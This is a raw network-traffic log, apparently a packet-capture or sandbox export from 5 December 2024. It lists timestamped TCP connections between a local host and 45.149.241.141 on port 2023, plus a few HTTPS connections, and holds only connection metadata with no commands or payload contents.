Dec 5, 2024 10:39:28.189831018 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.189893007 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.190917969 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.190929890 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.190984011 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.192008018 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.192126989 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.193170071 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.193212032 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.193253040 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.193284988 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.194411993 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.194425106 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.194483042 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.195434093 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.195447922 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.195512056 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.196588993 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.196602106 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.196633101 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.197772026 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.197792053 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.197856903 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.198878050 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.198893070 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.198955059 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.200074911 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.200087070 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.200122118 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.201143980 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.284964085 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.333466053 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.333733082 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.333801031 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.334002018 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.334203005 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.334455013 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.335203886 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.335602045 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.335647106 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.336322069 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.336343050 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.336425066 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.337434053 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.337531090 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.337589979 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.338637114 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.338792086 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.338861942 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.339754105 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.339778900 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.339852095 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.340966940 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.341022015 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.341573000 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.342102051 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.342165947 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.342228889 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.343177080 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.343235970 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.343293905 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.344288111 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.344400883 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.344470978 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.345417023 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.345519066 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.345573902 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.346539021 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.346658945 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.346718073 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.347719908 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.347846985 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.347913027 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.348886967 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.348954916 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.349490881 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.349972963 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.350100994 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.350159883 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.351207972 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.351300955 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.351356030 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.352462053 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.352523088 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.352581978 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.353571892 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.353734970 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.353777885 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.355231047 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.355243921 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.355292082 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.355881929 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.355986118 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.356043100 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.356914997 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.356969118 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.357012033 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.358124971 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.358176947 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.358239889 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.359152079 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.359231949 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.359280109 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.360285997 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.360359907 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.360418081 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.361397982 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.361516953 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.361603022 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.362544060 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.362654924 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.362704039 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.363749027 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.363847971 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.364330053 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.364833117 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.364950895 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.364995003 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.365962982 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.366086006 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.366146088 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.367098093 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.367237091 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.367285967 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.368253946 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.368386984 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.368441105 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.369430065 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.369499922 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.369548082 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.370592117 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.370660067 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.370702982 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.371685982 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.371819019 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.372272968 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.372842073 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.372951031 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.373019934 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.373981953 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.374094963 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.374147892 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.375143051 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.375257015 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.375310898 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.376296043 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.376435041 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.376491070 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.377398968 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.377458096 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.377511978 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.378565073 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.378698111 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.378745079 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.379790068 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.379898071 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.379944086 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.380837917 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.380975008 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.381017923 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.381953955 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.382057905 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.382102966 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.383150101 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.383217096 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.383280993 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.384273052 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.384408951 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.384470940 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.385387897 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.385515928 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.385559082 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.386691093 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.386756897 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.387335062 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.387665987 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.387788057 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.387845993 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.388860941 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.389065027 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.389122009 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.390140057 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.390204906 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.390263081 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.391253948 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.391365051 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.391405106 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.392298937 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.392349958 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.392410040 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.393341064 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.525602102 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.525662899 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.525804996 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.525908947 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.525965929 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.526031971 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.527076960 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.527127028 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.527179003 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.528388023 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.528498888 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.528553963 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.529416084 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.529428959 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.529474974 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.530535936 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.530587912 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.530666113 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.531660080 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.531721115 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.531786919 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.532815933 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.532861948 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.532917023 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.533968925 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.534017086 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.534133911 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.535073042 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.535115957 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.535157919 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.536310911 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.536350965 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.536406994 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.537389994 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.537427902 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.537436008 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.538577080 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.538644075 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.538691044 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.539688110 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.539786100 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.539913893 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.540821075 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.540864944 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.540896893 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.541934967 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.541999102 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.542000055 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.543113947 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.543160915 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.543193102 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.544363022 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.544433117 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.544470072 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.545351028 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.545401096 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.545447111 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.546494961 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.546555996 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.546607018 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.547631979 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.547696114 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.548203945 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.548245907 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:28.667901039 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:28.667913914 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:45.122678041 CET	49921	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:45.242587090 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:45.242686987 CET	49921	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:45.242852926 CET	49921	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:45.362565994 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:46.495371103 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:46.495428085 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:46.495656967 CET	49921	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:46.507066965 CET	49921	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:46.626899004 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:46.922636032 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:46.922961950 CET	49921	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:47.042721987 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:47.385618925 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:47.388252974 CET	49921	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:47.507911921 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:47.508183002 CET	49921	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:47.627866983 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:47.918207884 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:47.920938015 CET	49921	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:48.040739059 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:48.040823936 CET	49921	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:48.160572052 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:48.239649057 CET	49930	443	192.168.2.7	162.159.61.3
Dec 5, 2024 10:39:48.239723921 CET	443	49930	162.159.61.3	192.168.2.7
Dec 5, 2024 10:39:48.239799976 CET	49930	443	192.168.2.7	162.159.61.3
Dec 5, 2024 10:39:48.240219116 CET	49930	443	192.168.2.7	162.159.61.3
Dec 5, 2024 10:39:48.240240097 CET	443	49930	162.159.61.3	192.168.2.7
Dec 5, 2024 10:39:48.241190910 CET	49931	443	192.168.2.7	172.64.41.3
Dec 5, 2024 10:39:48.241250038 CET	443	49931	172.64.41.3	192.168.2.7
Dec 5, 2024 10:39:48.241329908 CET	49931	443	192.168.2.7	172.64.41.3
Dec 5, 2024 10:39:48.241518974 CET	49931	443	192.168.2.7	172.64.41.3
Dec 5, 2024 10:39:48.241530895 CET	443	49931	172.64.41.3	192.168.2.7
Dec 5, 2024 10:39:48.441452980 CET	49931	443	192.168.2.7	172.64.41.3
Dec 5, 2024 10:39:48.441684961 CET	49930	443	192.168.2.7	162.159.61.3
Dec 5, 2024 10:39:48.452189922 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:48.452251911 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:48.452394009 CET	49921	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:48.495466948 CET	49921	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:48.495590925 CET	49921	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:48.495784044 CET	49921	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:48.495917082 CET	49921	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:48.616039991 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:48.616055965 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:48.616133928 CET	49921	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:48.616163015 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:48.616174936 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:48.616228104 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:48.616229057 CET	49921	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:48.616314888 CET	49921	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:48.616368055 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:48.616378069 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:48.616388083 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:48.616457939 CET	49921	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:48.616457939 CET	49921	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:48.616466999 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:48.616477013 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:48.616487980 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:48.616499901 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:48.616512060 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:48.616518974 CET	49921	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:48.616540909 CET	49921	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:48.616558075 CET	49921	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:48.735986948 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:48.736002922 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:48.736016989 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:48.736098051 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:48.736119986 CET	49921	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:48.736135006 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:48.736181974 CET	49921	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:48.736215115 CET	49921	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:48.736232996 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:48.736279964 CET	49921	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:48.736455917 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:48.736466885 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:48.736537933 CET	49921	2023	192.168.2.7	45.149.241.141
